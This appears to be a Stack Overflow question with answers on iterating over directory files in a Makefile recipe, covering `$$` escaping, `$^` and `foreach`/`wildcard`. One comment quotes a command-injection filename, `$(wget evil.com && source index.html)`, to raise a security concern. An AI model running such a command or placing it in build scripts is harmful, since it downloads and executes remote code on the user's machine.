19

I can easily print all the files inside some directory from bash:

$ cat go.sh
BASEDIR=~/Downloads
MYDIR=${BASEDIR}/ddd
for f in $(ls ${MYDIR}); do echo $f; done

$ ./go.sh
m.txt
d.txt

When I try to do a similar thing from makefile it doesn't work well:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(ls ${MYDIR}); do echo ${f}; done

$ make
for f in ; do echo ; done

And here is another trial that doesn't work:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(shell ls ${MYDIR}); do echo ${f}; done

$ make
for f in d.txt m.txt; do echo ; done
OrenIshShalom
  • 5,974
  • 9
  • 37
  • 87
  • 1
    You have to remember that `$` is special to make. Whenever you write a shell command in a makefile recipe, you MUST escape any `$` that you want to put into the shell command (that you want the shell to see). So your recipe should be `for f in $$(ls ${MYDIR}); do echo $$f; done` – MadScientist Jan 03 '19 at 14:58
  • @MadScientist's comment above should be the answer. – Tom Feb 21 '22 at 22:23

4 Answers4

26

Maybe you can do it purely Makefile way?

MYDIR = .
list: $(MYDIR)/*
        @echo $^

You can still run command from Makefile like this

MYDIR = .
list: $(MYDIR)/*
        for file in $^ ; do \
                echo "Hello" $${file} ; \
        done

If I were you, I'd rather not mix Makefile and bash loops based on $(shell ...). I'd rather pass dir name to some script and run loop there - inside script.

Oo.oO
  • 12,464
  • 3
  • 23
  • 45
  • hmmm ... I want more than just printing the filenames. I prepared this minimal complete example so that I can use bash loops inside makefiles. – OrenIshShalom Jan 03 '19 at 10:56
  • 1
    I think what was missing was the (double) dollar sign (`$$`). I accepted your answer and posted the working solution in a separate answer. Thanks! – OrenIshShalom Jan 03 '19 at 11:09
  • It's an anti-pattern to use the GNU make `$(shell ...)` function inside a recipe. The behavior is just confusing. – MadScientist Jan 03 '19 at 14:56
  • Hey, what happens if a filename is something like `$(wget evil.com && source index.html)`? Would make instruct the shell to download and execute a file, using the result as the loop input? – Brian Hannay Oct 21 '20 at 20:40
  • I guess, you have to give it a try ;) – Oo.oO Oct 22 '20 at 09:39
  • 1
    works great!!! pay the secret resides in 3 things: using backslash at the end of the line, using `;` at the end of the command and using `$${file}` to get the filename thanks!! – hzitoun Mar 24 '22 at 11:27
22

Also almost "true way" from documentation

TEMPLATES_DIR = ./somedir

list: 
    $(foreach file, $(wildcard $(TEMPLATES_DIR)/*), echo $(file);)
Mike Pylypyshyn
  • 423
  • 5
  • 8
  • Somehow the `TEMPLATES_DIR = ./somedir` part didn't work for me - the files listed are from the root dir, "/", no matter if I use relative or absolute path. Do you happen to know what might have gone wrong in my case? ------- Never mind. I figured it out. I had an extra space after the `./somdir` ... – user3768495 Sep 30 '21 at 19:27
15

Here is the edited answer based on @Oo.oO:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    @for f in $(shell ls ${MYDIR}); do echo $${f}; done

$ make
d.txt
m.txt
OrenIshShalom
  • 5,974
  • 9
  • 37
  • 87
3

There is a little problem with @Oo.oO's answer.

If there is any file/folder has the same name with a target in makefile, and that target has some prerequisites, and you want to loop through that folder, you will get that target recipe being executed.

For example: if you have a folder named build, and you have a rule like:

build: clean server client

clean:
    @echo project cleaned!
server:
    @echo server built!
client:
    @echo client built!

To loop through the folder contains that special build folder, let's says you have the following rules:

MYDIR = .
ls: $(MYDIR)/*
    @echo $^

The result will be:

$ make ls
project cleaned!
server built!
client built!
build Makefile

I would suggest to use @Mike Pylypyshyn's solution. According to the make documentation, the foreach function is more suitable in this case.

Zhwt
  • 426
  • 3
  • 13